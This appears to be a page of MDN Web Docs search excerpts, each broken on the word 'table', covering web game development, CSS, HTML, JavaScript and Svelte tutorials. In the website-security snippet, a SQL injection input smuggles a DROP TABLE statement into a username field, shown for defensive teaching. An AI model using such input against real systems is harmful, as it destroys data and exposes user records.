... show its advantages. there's no flash, and html5 is fully multiplatform. trying to compete with desktop games directly is very difficult. you can put your html5 games into the same arena (see native desktop, later on) and you should because it's good to diversify the platforms you support, but you have to remember that developers creating desktop games have years of experience, great tools and s
table distribution channels. many html5 games will target different market segments than native desktop games, e.g. simple time killer games to be played while on the move rather than huge immersive experiences. such games are often designed to be played with two, or even one finger, so you can hold the device, play the game and be able to use the second hand for whatever you currently need. saying th...
Building up a basic demo with A-Frame - Game development
rt (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome — download firefox nightly or chrome (v54 or higher). (optional) set up a vr device such as oculus rift or google cardboard. create a new directory to store your project in. save a copy of the latest a-frame javascript library file inside your directory (check the github repository for latest s
table a dev builds). open the a-frame documentation in a separate tab — it is useful to refer to. html structure the first step is to create an html document — inside your project directory, create a new index.html file, and save the follow html inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: a-frame demo</title> <script src="aframe.min.js"></script> </h...
...<a-box color="#0095dd" position="0 1 0" rotation="20 40 0"> </a-box> it contains a few parameters already defined: color, position and rotation — these are fairly obvious, and define the base color of the cube, the position inside the 3d scene, and the rotation of the cube. note: the distance values (e.g. for the cube y position) are unitless, and can basically be anything you deem sui
table for your scene — milimeters, meters, feet, or miles — it's up to you. adding a background: sky box a sky box is a background for the 3d world, represented by an <a-sky> element. in our case we will use a simple color, but it could also be an image, etc. looking around would give an impression of being inside an open sky, a wooden barn — wherever you like! add the following html before th...
Audio for Web games - Game development
background music playing along with sound effects for various things happening in the game. although the situation is soon going to get better with the adoption of the web audio api, the current most widely-supported method — using the vanilla <audio> element — leads to patchy results on mobile devices. element — results in patchy results on mobile devices. testing and support here's a
table that shows what mobile platforms support the features talked about above. mobile support for web audio features mobile browser version concurrent play autoplay volume adjusting preload chrome (android) 69+ y y y y firefox (android) 62+ y y y y edge mobile y y y y opera mobile 46+ ...
...e flexible with the more advanced web audio api. let's look at this next. element and associated htmlmediaelement api, but it becomes much easier and more flexible with the more advanced web audio api. let's look at this next. web audio api for games the web audio api is supported across all modern desktop and mobile browsers, with the exception of opera mini. with that in mind, it's an accep
table approach for many situations to use the web audio api (see the can i use web audio api page for more on browser compatibility). the web audio api is an advanced audio javascript api that is ideal for game audio. developers can generate audio and manipulate audio samples as well as positioning sound in 3d game space. a feasible cross-browser strategy would be to provide basic audio using the stan...
Gecko FAQ - Gecko Redirect 1
following recommended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary, event, dir, align on
table columns, label attribute of option, alternate text of area elements, longdesc various metadata attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, except for: the application of styles to html column elements the...
...lated to the standards mentioned above; be aware that these raw lists of open in-process bugs will inevitably include some duplicate, out of date, unreproducible, invalid, and incorrectly tagged reports: the links themselves are probably outdated too. ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
thods. there are 6 primitive data types: string, number, bigint, boolean, undefined, and symbol. there also is null, which is seemingly primitive, but indeed is a special case for every object: and any structured type is derived from null by the prototype chain. most of the time, a primitive value is represented directly at the lowest level of the language implementation. all primitives are immu
table, i.e., they cannot be altered. it is important not to confuse a primitive itself with a variable assigned a primitive value. the variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. example this example will help you understand that primitive values are immu
table. javascript // using a string method d...
...y. this is because of javascript's lexical scoping and the resulting variable shadowing. the local foo hides the external foo. for more information, see closures. (note that window.foo could still be used to access the external foo variable.) in conclusion, any changes inside our functions won't affect the original foo at all, as we are modifying copies of it that's why primitives are immu
table - instead of changing them directly, we're modifying a copy, without affecting the original. primitive wrapper objects in javascript except for null and undefined, all primitive values have object equivalents that wrap around the primitive values: string for the string primitive. number for the number primitive. bigint for the bigint primitive. boolean for the boolean primitive. symbol f...
caret - MDN Web Docs Glossary: Definitions of Web-related terms
. most user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary. this point in the text is called the insertion point. the word "caret" differentiates the text insertion point from the mouse cursor. on the web, a caret is used to represent the insertion point in <input> and <textarea> elements, as well as any elements whose contentedi
table attribute is set, thereby allowing the contents of the element to be edited by the user. learn more general knowledge caret navigation on wikipedia css related to the caret you can set the color of the caret for a given element's edi
table content by setting the element's css caret-color property to the appropriate <color> value. html elements that may present a caret these elements prov...
...provide text entry fields or boxes and therefore make use of the caret. <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="url"> <textarea> any element with its contentedi
table attribute set ...
MDN Web Docs Glossary: Definitions of Web-related terms
hotlink houdini hpkp hsts html html5 http http header http/2 http/3 https hyperlink hypertext i i18n iana icann ice ide idempotent identifier idl ietf iife imap immu
table index indexeddb information architecture inheritance input method editor instance internationalization internet intrinsic size ip address ipv4 ipv6 irc iso isp itu j jank java javascript jpeg jq...
...hml media media (audio-visual presentation) media (css) metadata method microsoft edge microsoft internet explorer middleware mime mime type minification mitm mixin mobile first modem modern web apps modularity mozilla firefox mu
table mvc n namespace nan nat native navigation directive netscape navigator network throttling nntp node node (dom) node (networking) node.js non-normative normative null nullish value number o object ...
What is accessibility? - Learn web development
sider accessibility from the start of a project, the cost of making most content accessible should be fairly minimal. when planning your project, factor accessibility testing into your testing regime, just like testing for any other important target audience segment (e.g. target desktop or mobile browsers). test early and often, ideally running automated tests to pick up on programmatically detec
table missing features (such as missing image alternative text or bad link text — see element relationships and context) and doing some testing with disabled user groups to see how well more complex site features work for them. for example: is my date picker widget usable by people using screen readers? if content updates dynamically, do visually impaired people know about it? are my ui buttons ...
... is one option which, while expensive, is possible. also, be realistic. "100% accessibility" is an unobtainable ideal — you will always come across some kind of edge case that results in a certain user finding certain content difficult to use — but you should do as much as you can. if you are planning to include a whizzy 3d pie chart graphic made using webgl, you might want to include a data
table as an accessible alternative representation of the data. or, you might want to just include the
table and get rid of the 3d pie chart — the
table is accessible by everyone, quicker to code, less cpu-intensive, and easier to maintain. on the other hand, if you are working on a gallery website showing interesting 3d art, it would be unreasonable to expect every piece of art to be perfectly acces...
Cascade and inheritance - Learn web development
lector. tens: score one in this column for each class selector, attribute selector, or pseudo-class contained inside the overall selector. ones: score one in this column for each element selector or pseudo-element contained inside the overall selector. note: the universal selector (*), combinators (+, >, ~, ' '), and negation pseudo-class (:not) have no effect on specificity. the following
table shows a few isolated examples to get you in the mood. try going through these, and making sure you understand why they have the specificity that we have given them. we've not covered selectors in detail yet, but you can find details of each selector on the mdn selectors reference. selector thousands hundreds tens ones total specificity h1 0 0 0 1...
...issue. ...
Debugging CSS - Learn web development
don't understand. if the property or value you are using is not supported by the browser you are testing in then nothing will break, but that css won't be applied. devtools will generally highlight unsupported properties and values in some way. in the screenshot below the browser does not support the subgrid value of grid-template-columns. you can also take a look at the browser compatibility
tables at the bottom of each property page on mdn. these show you browser support for that property, often broken down if there is support for some usage of the property and not others. the below
table shows the compat data for the shape-outside property. no compatibility data found. please contribute data for "css.shape-outside" (depth: 1) to the mdn compatibility data repository. is something else ...
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
Images, media, and form elements - Learn web development
tion? you can find some further tests to verify that you've retained this information before you move on — see test your skills: images and form elements. summary this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css. in the next article we'll look over a few tips you'll find useful when you have to style html
tables. previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling ...
...s. ...
Organizing your CSS - Learn web development
an vaguely remember there was a great tutorial about that thing, but where is it? create logical sections in your stylesheet it is a good idea to have all of the common styling first in the stylesheet. this means all of the styles which will generally apply unless you do something special with that element. you will typically have rules set up for: body p h1, h2, h3, h4, h5 ul and ol the
table properties links in this section of the stylesheet we are providing default styling for the type on the site, setting up a default style for data
tables and lists and so on. /* || general styles */ body { ... } h1, h2, h3, h4 { ... } ul { ... } blockquote { ... } after this section we could define a few utility classes, for example a class that removes the default list style for lists w...
...ut. ...
Pseudo-classes and pseudo-elements - Learn web development
which helps you to generate an arrow with css. look at the css as you create your arrow and you will see the ::before and ::after pseudo-elements in use. whenever you see these selectors, look at the content property to see what is being added to the document. reference section there are a large number of pseudo-classes and pseudo-elements, and it is useful to have a list to refer to. below are
tables listing them, with links to their reference pages on mdn. use this as a reference to see the kind of things that are available for you to target. pseudo-classes selector description :active matches when the user activates (for example clicks on) an element. :any-link matches both the :link and :visited states of a link. :blank matches an <inp...
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
CSS values and units - Learn web development
els). relative length units relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the viewport. the benefit of using relative units is that with some careful planning you can make it so the size of text or other elements scale relative to everything else on the page. some of the most useful units for web development are listed in the
table below. unit relative to em font size of the parent, in the case of typographical properties like font-size, and font size of the element itself, in the case of other properties like width. ex x-height of the element's font. ch the advance measure (width) of the glyph "0" of the element's font. rem font size of the root element. ...
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling
tables debugging css organizing your css ...
CSS building blocks - Learn web development
it, consuming the content.) a basic work environment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files. basic familiarity with html, as discussed in the introduction to html module. an understanding of the basics of css, as discussed in the css first steps module. note: if you are working on a computer/
tablet/another device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which cover the most essential parts of the css language. along the way you'll come across plenty of exercises to allow you to test your understanding. cascade and inh...
...ia, and form elements in this lesson we will take a look at how certain special elements are treated in css. images, other media, and form elements behave a little differently in terms of your ability to style them with css than regular boxes. understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know. styling
tables styling an html
table isn't the most glamorous job in the world, but sometimes we all have to do it. this article provides a guide to making html
tables look good, with some specific
table styling techniques highlighted. debugging css sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect. this article will give you guidance on how to go...
Supporting older browsers - Learn web development
ny technology that you want to use against how well it is supported and how easily you can provide an alternative for visitors who do not have that technology available. we are trying to make this easy for you at mdn, by providing browser compatibility information on each page detailing a css property. for example, take a look at the page for grid-template-columns. at the bottom of this page is a
table, which lists major browsers along with the version they began supporting this property. another popular way to find out about how well a feature is supported is the can i use website. this site lists the majority of web platform features with information about their browser support status. you can view usage statistics by location — useful if you work on a site that has users mostly for a sp...
...sense for the layout pattern you need to create. float and clear as shown above, the float and clear properties cease to affect the layout if floated or cleared items become flex or grid items. display: inline-block this method can be used to create column layouts, if an item has display: inline-block set but then becomes a flex or grid item, the inline-block behaviour is ignored. display:
table the method of creating css
tables described in the introduction to these lessons can be used as a fallback. items that have css
table layouts set on them will lose this behaviour if they become flex or grid items. importantly, the anonymous boxes created to fix up the
table structure are not created. multiple-column layout for certain layouts you could use multi-col as a fallback, if your cont...
How do I use GitHub Pages? - Learn web development
it an aside on command line interfaces the best way to upload your code to github is via the command line — this is a window where you type in commands to do things like create files and run programs, rather than clicking inside a user interface. it will look something like this: note: you could also consider using a git graphical user interface to do the same work, if you feel uncomfor
table with the command line. every operating system comes with a command line tool: windows: command prompt can be accessed by pressing the windows key, typing command prompt, and choosing it from the list that appears. note that windows has its own command conventions differing from linux and os x, so the commands below may vary on your machine. os x: terminal can be found in applications > util...
...ml. further github knowledge if you want to make more changes to your test site and upload those to github, you simply need to make the change to your files just like you did before. then, you need to enter the following commands (pressing enter after each one) to push those changes to github: git add --all git commit -m 'another commit' git push you can replace another commit with a more sui
table message to describe what change you just made. we have barely scratched the surface of git. to learn more, check out our git and github page. ...
The HTML5 input types - Learn web development
the below screenshot. you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more sui
table for entering email addresses, including the @ key. see the firefox for android keyboard screenshot below for an example: note: you can find examples of the basic text input types at basic input examples (see the source code also). this is another good reason for using these newer input types — improving the user experience for users of these devices. client-side validation as you can se...
...e. ...
Web forms — Working with user data - Learn web development
. the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the most out of them. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. introductory guides your first form the first article in our series provides your very first experience of creating a web form, including designing a simple form, implementing it using the right html elements, adding some...
...onsiderations you need to be aware of when doing so, with a practical case study. sending forms through javascript this article looks at ways to use a form to assemble an http request and send it via custom javascript, rather than standard form submission. it also looks at why you'd want to do this, and the implications of doing so. (see also using formdata objects.) css property compatibility
table for form controls this last article provides a handy reference allowing you to look up what css properties are compatible with what form elements. ...
Front-end web developer - Learn web development
ou need is a computer that can run modern web browsers, an internet connection, and a willingness to learn. if you are not sure if front-end web development is for you, and/or you want a gentle introduction before starting a longer and more complete course, work through our getting started with the web module first. getting help we have tried to make learning front-end web development as comfor
table as possible, but you will probably still get stuck because you don't understand something, or some code is just not working. don't panic. we all get stuck, whether we are beginner or professional web developers. the learning and getting help article provides you with a series of tips for looking up information and helping yourself. if you are still stuck, feel free to post a question on our disc...
...mputer literacy, and a basic web development environment. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules introduction to html (15–20 hour read/exercises) multimedia and embedding (15–20 hour read/exercises) html
tables (5–10 hour read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is recommended that you have basic html knowledge before starting to learn css. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assess...
HTML basics - Learn web development
as the title suggests, this article will give you a basic understanding of html and its functions. so what is html? html is not a programming language; it is a markup language that defines the structure of your content. ...
...specify that certain parts of your content are headings — or subheadings. in the same way that a book has the main title, chapter titles and subtitles, an html document can too. html contains 6 heading levels, <h1>–<h6>, although you'll commonly only use 3 to 4 at most: <h1>my main title</h1> <h2>my top level heading</h2> <h3>my subheading</h3> <h4>my sub-subheading</h4> now try adding a sui
table title to your html page just above your <img> element. note: you'll see that your heading level 1 has an implicit style. don't use heading elements to make text bigger or bold, because they are used for accessibility and other reasons such as seo. try to create a meaningful sequence of headings on your pages, without skipping levels. paragraphs as explained above, <p> elements are for contai...
JavaScript basics - Learn web development
ing area, as well as in other parts of mdn. the section below introduces some aspects of the core language, and offers an opportunity to play with a few browser api features too. have fun! a hello world! example javascript is one of the most popular modern web technologies! as your javascript skills grow, your websites will enter a new dimension of power and creativity. however, getting comfor
table with javascript is more challenging than getting comfor
table with html and css. you may have to start small, and progress gradually. to begin, let's examine how to add javascript to your page for creating a hello world! example. (hello world! is the standard for introductory programming examples.) important: if you haven't been following along with the rest of our course, download this example ...
...ode. the browser ignores text marked as comments. you can write comments in javascript just as you can in css: /* everything in between is a comment. */ if your comment contains no line breaks, it's an option to put it behind two slashes like this: // this is a comment operators an operator is a mathematical symbol which produces a result based on two values (or variables). in the following
table you can see some of the simplest operators, along with some examples to try in the javascript console. operator explanation symbol(s) example addition add two numbers together or combine two strings. + 6 + 9; 'hello ' + 'world!'; subtraction, multiplication, division these do what you'd expect them to do in basic math. -, *, / 9 - 3; ...
Use HTML to solve common problems - Learn web development
to solve presentation issues, use css, or use scripting to make your page interactive. how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another...
... articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should start: how to create a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into
tables with columns and rows. it's one of the most complex html structures, and mastering it is not easy: how to create a data
table how to make html
tables accessible data representation how to represent numeric and code values with html — see superscript and subscript, and representing computer code. how to use data attributes advanced text semantics how to take control of html lin...
Creating hyperlinks - Learn web development
d or otherwise activated the web browser goes to another web address (url). note: a url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web. if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a sui
table native app on the device) or download the file (in which case you can try to deal with it later on). for example, the bbc homepage contains a many links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools), and more. anatomy of a link a basic link is created by wrapping the text or other content,...
...mail header fields can be added to the mailto url you provide. the most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). each field and its value is specified as a query term. here's an example that includes a cc, bcc, subject and body: <a href="mailto:nowhere@mozilla.org?cc=name2@rapid
tables.com&bcc=name3@rapid
tables.com&subject=the%20subject%20of%20the%20email&body=the%20body%20of%20the%20email"> send mail with cc, bcc, subject and body </a> note: the values of each field must be url-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces percent-escaped. also note the use of the question mark (?) to separate ...
Introduction to HTML - Learn web development
this module will introduce the first two of these and introduce fundamental concepts and syntax you need to know to understand html. ...
...arity with using computers and using the web passively (i.e., just looking at it and consuming content). you should have a basic work environment set up (as detailed in installing basic software), and understand how to create and manage files (as detailed in dealing with files). both are parts of our getting started with the web complete beginner's module. note: if you are working on a computer/
tablet/other devices that doesn't let you create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles, which will take you through all the basic theory of html and provide ample opportunity for you to test out some skills. getting started with html covers the absolute basics of html, to...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
hese functions are: settimeout() execute a specified block of code once after a specified time has elapsed. setinterval() execute a specified block of code repeatedly with a fixed time delay between each call. requestanimationframe() the modern version of setinterval(). executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a sui
table framerate regardless of the environment it is being run in. the asynchronous code set up by these functions runs on the main thread (after their specified timer has elapsed). it's important to know that you can (and often will) run other code before a settimeout() call executes, or between iterations of setinterval(). depending on how processor-intensive these operations are, they can delay y...
...nterval() to clear setinterval() entries. this will help to avoid confusion. requestanimationframe() requestanimationframe() is a specialized looping function created for running animations efficiently in the browser. it is basically the modern version of setinterval() — it executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a sui
table frame rate regardless of the environment it is being run in. it was created in response to perceived problems with setinterval(), which for example doesn't run at a frame rate optimized for the device, sometimes drops frames, continues to run even if the tab is not the active tab or the animation is scrolled off the page, etc. (read more about this on creativejs.) note: you can find examples ...
Looping code - Learn web development
so be careful with this. you can start writing your code in a comment to deal with this issue and remove the comment after you finish. if you make a mistake, you can always reset the example with the "reset" button. if you get really stuck, press "show solution" to see a solution. ...
...the end? have a look at the useful string methods article for help. if you make a mistake, you can always reset the example with the "reset" button. if you get really stuck, press "show solution" to see a solution. ...
Making decisions in your code — conditionals - Learn web development
<option value="may">may</option> <option value="june">june</option> <option value="july">july</option> <option value="august">august</option> <option value="september">september</option> <option value="october">october</option> <option value="november">november</option> <option value="december">december</option> </select> <h1></h1> <ul></ul> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="height: 400px;width: 95%"> const select = document.queryselector('select'); const list = document.queryselector('ul'); const h1 = document.queryselector('h1'); select.onchange = function() { const choice = select.value; // add c...
...utput</h2> <div class="output" style="height: 300px;"> <label for="theme">select theme: </label> <select id="theme"> <option value="white">white</option> <option value="black">black</option> <option value="purple">purple</option> <option value="yellow">yellow</option> <option value="psychedelic">psychedelic</option> </select> <h1>this is my website</h1> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="height: 450px;width: 95%"> const select = document.queryselector('select'); const html = document.queryselector('.output'); select.onchange = function() { const choice = select.value; // add switch statement } function update(b...
Drawing graphics - Learn web development
e of the latest stock graph, with alt text saying what the prices are in text. creating and sizing our canvas let's start by creating our own canvas that we draw future experiments on to. first make a local copy of our 0_canvas_start.html file, and open it in your text editor. add the following code into it, just below the opening <body> tag: <canvas class="mycanvas"> <p>add sui
table fallback here.</p> </canvas> we have added a class to the <canvas> element so it will be easier to select if we have multiple canvases on the page, but we have removed the width and height attributes for now (you could add them back in if you wanted, but we will set them using javascript in a below section). canvases with no explicit width and height default to 300 pixels wide by 150 pixels hi...
..., but you could resize it by specifying different values. the final example should look like so: note: the finished code is available on github as 5_canvas_images.html. loops and animations we have so far covered some very basic uses of 2d canvas, but really you won't experience the full power of canvas unless you update or animate it in some way. after all, canvas does provide scrip
table images! if you aren't going to change anything, then you might as well just use static images and save yourself all the work. creating a loop playing with loops in canvas is rather fun — you can run canvas commands inside a for (or other type of) loop just like any other javascript code. let's build a simple example. make another fresh copy of our canvas template (1_canvas_template.htm...
Third-party APIs - Learn web development
allowed access to the api's functionality. in our example we've just provided a placeholder. note: when creating your own examples, you'll use your own api key in place of any placeholder. other apis may require that you include the key in a slightly different way, but the pattern is relatively similar for most of them. requiring a key enables the api provider to hold users of the api accoun
table for their actions. when the developer has registered for a key, they are then known to the api provider, and action can be taken if they start to do anything malicious with the api (such as tracking people's location or trying to spam the api with loads of requests to stop it working, for example). the easiest action would be to just revoke their api privileges. extending the mapquest example l...
...est for a couple of reasons: it is much easier to get started with. for google apis in general, you need to create a google account and log into the google cloud platform console to create api keys, etc., and the process is fairly complex. for the google maps api in particular, you need to provide a credit card for billing purposes (although basic usage is free), which we didn't think was accep
table for a basic tutorial. we wanted to show that there are other alternatives available. a restful api — nytimes now let's look at another api example — the new york times api. this api allows you to retrieve new york times news story information and display it on your site. this type of api is known as a restful api — instead of getting data using the features of a javascript library like ...
Basic math in JavaScript — numbers and operators - Learn web development
ccessfully manipulate numbers to do our bidding. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of math in javascript. everybody loves math okay, maybe not. some of us like math, some of us have hated math ever since we had to learn multiplication
tables and long division in school, and some of us sit somewhere in between the two. but none of us can deny that math is a fundamental part of life that we can't get very far without. this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't ...
...his exercise, you will manipulate some numbers and operators to change the size of a box. the box is drawn using a browser api called the canvas api. there is no need to worry about how this works — just concentrate on the math for now. the width and height of the box (in pixels) are defined by the variables x and y, which are initially both given a value of 50. open in new window in the edi
table code box above, there are two lines marked with a comment that we'd like you to update to make the box grow/shrink to certain sizes, using certain operators and/or values in each case. let's try the following: change the line that calculates x so the box is still 50px wide, but the 50 is calculated using the numbers 43 and 7 and an arithmetic operator. change the line that calculates y so the...
JavaScript First Steps - Learn web development
es before starting this module, you don't need any previous javascript knowledge, but you should have some familiarity with html and css. you are advised to work through the following modules before starting on javascript: getting started with the web (which includes a really basic javascript introduction). introduction to html. introduction to css. note: if you are working on a computer/
tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides what is javascript? welcome to the mdn beginner's javascript course! in this first article we will look at javascript from a high level, answering questions such as "what is it?", and "what is it doing?", and makin...
...you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides what is javascript? welcome to the mdn beginner's javascript course! in this first article we will look at javascript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfor
table with javascript's purpose. a first splash into javascript now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial. here you'll build up a simple "guess the number" game, step by step. what went wrong? troubleshooting javascript when you built up the...
Inheritance in JavaScript - Learn web development
inherited by other constructors. say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members from person, but also includes: a new property, subject — this will contain the subject the teacher teaches. an updated greeting() method, which sounds a bit more formal than the standard greeting() method — more sui
table for a teacher addressing some students at school. defining a teacher() constructor function the first thing we need to do is create a teacher() constructor — add the following below the existing code: function teacher(first, last, age, gender, interests, subject) { person.call(this, first, last, age, gender, interests); this.subject = subject; } this looks similar to the person constr...
...e page in a browser, and entering teacher.prototype.constructor into the console to verify. this can become a problem, so we need to set this right. you can do so by going back to your source code and adding the following line at the bottom: object.defineproperty(teacher.prototype, 'constructor', { value: teacher, enumerable: false, // so that it does not appear in 'for in' loop wri
table: true }); now if you save and refresh, entering teacher.prototype.constructor should return teacher(), as desired, plus we are now inheriting from person()! giving teacher() a new greeting() function to finish off our code, we need to define a new greeting() function on the teacher() constructor. the easiest way to do this is to define it on teacher()'s prototype — add the following at t...
Properly configuring server MIME types - Learn web development
ver how their content is to be processed. for example, a web site oriented for web developers might wish to send certain example html documents as either text/html or text/plain in order to have the documents either processed and displayed as html or as source code. if the browser guesses the mime type, this option is no longer available to the author. security some content types, such as execu
table programs, are inherently unsafe. for this reason these mime types are usually restricted in terms of what actions a web browser will take when given content of that type. an execu
table program should not be executed on the user's computer and at most should cause a dialog to appear asking the user if they wish to download the file. mime type guessing has led to security exploits in internet expl...
...er's computer and at most should cause a dialog to appear asking the user if they wish to download the file. mime type guessing has led to security exploits in internet explorer which were based upon a malicious author incorrectly reporting a mime type of a dangerous file as a safe type. this bypassed the normal download dialog resulting in internet explorer guessing that the content was an execu
table program and then running it on the user's computer. how to determine the mime type sent by a server in firefox, load the file and use tools | page info. you can also use rex swain's http viewer or live http headers to see the full headers and content of any file sent from a web server. according to the standards, a meta tag that gives the mime type such as <meta http-equiv="content-type" conte...
Website security - Learn web development
supplied from an html form: statement = "select * from users where name = '" + username + "';" if the user specifies a real name, the statement will work as intended. however, a malicious user could completely change the behavior of this sql statement to the new statement in the following example, by simply specifying the text in bold for the username. select * from users where name = 'a';drop
table users; select * from userinfo where 't' = 't'; the modified statement creates a valid sql statement that deletes the users
table and selects all data from the userinfo
table (which reveals the information of every user). this works because the first part of the injected text (a';) completes the original statement. to avoid this sort of attack, you must ensure that any user data that is passed ...
...nd end of a string literal. by putting a backslash in front of this character (\'), we escape the symbol, and tell sql to instead treat it as a character (just a part of the string). in the following statement, we escape the ' character. the sql will now interpret the name as the whole string in bold (which is a very odd name indeed, but not harmful). select * from users where name = 'a\';drop
table users; select * from userinfo where \'t\' = \'t'; web frameworks will often take care of the character escaping for you. django, for example, ensures that any user-data passed to querysets (model queries) is escaped. note: this section draws heavily on the information in wikipedia here. cross-site request forgery (csrf) csrf attacks allow a malicious user to execute actions using the cred...
Componentizing our Svelte app - Learn web development
ch is the "props-down, events-up" communication pattern. basically, this pattern relies on child components receiving data from their parents via props and parent components updating their state by handling events emitted from child components. so props flow down from parent to child and events bubble up from child to parent. this pattern establishes a two-way flow of information, which is predic
table and easier to reason about. let's look at how to emit our own events to re-implement the missing delete button functionality. to create custom events we'll use the createeventdispatcher utility. this will return a dispatch() function that will allow us to emit custom events. when you dispatch an event you have to pass the name of the event and, optionally, an object with additional information ...
...span class="visually-hidden"> {todo.name}</span> </button> <button type="button" class="btn btn__danger" on:click={onremove}> delete<span class="visually-hidden"> {todo.name}</span> </button> </div> {/if} </div> note: we could further split this into two different components, one for editing the todo and the other for displaying it. in the end, it boils down to how comfor
table you feel dealing with this level of complexity in a single component. you should also consider whether splitting it further would enable reusing this component in a different context. to get the update functionality working, we have to handle the update event from the todos component. in its <script> section, add this handler: function updatetodo(todo) { const i = todos.findindex(t ...
Getting started with Svelte - Learn web development
me you are using npm in this set of tutorials. see package management basics for more information on npm and yarn. if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal commands mentioned in this tutorial. gitbash (which comes as part of the git for windows toolset) or windows subsystem for linux (wsl) are both sui
table. cmder is another very good and complete alternative. see command line crash course for more information on these, and on terminal commands in general. also see the following for more information: "what is npm" on nodejs.org "introducing npx" on the npm blog "the easiest way to get started with svelte" on the svelte blog creating your first svelte app the easiest way to create a starter ...
...ript code) and the app.svelte compiled component. as you can see, bundle.js is the only javascript file referenced by index.html. there are no other libraries loaded into the web page. this is a much smaller footprint than compiled bundles from other frameworks. take into account that, in the case of code bundles, it's not just the size of the files you have to download that matter. this is execu
table code that needs to be parsed, executed, and kept in memory. so this really makes a difference, especially in low-powered devices or cpu-intensive applications. following this tutorial in this tutorial series you will be building a complete web application. we'll learn all the basics about svelte and also quite a few advanced topics. you can just read the content to get a good understanding of ...
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
ed function for each item. the function returns a copy of each todo using spread syntax and overwrites the property of the completed value accordingly. this solution has the added benefit of returning a new array with new objects, completely avoiding mutating the original todos array. note: svelte allows us to specify different options that affect how the compiler works. the <svelte:options immu
table={true}/> option tells the compiler that you promise not to mutate any objects. this allows it to be less conservative about checking whether values have changed and generate simpler and more performant code. for more information on <svelte:options...>, check the svelte options documentation. all of these solutions involve an assignment in which the updated variable is on the left side of the eq...
...ccessibility features that will improve the usability of our app for both keyboard-only and screenreader users. in its current state our app has a couple of keyboard accessibility problems involving focus management. let's have a look at these issues. exploring keyboard accessibility issues in our todo app right now, keyboard users will find out that the focus flow of our app is not very predic
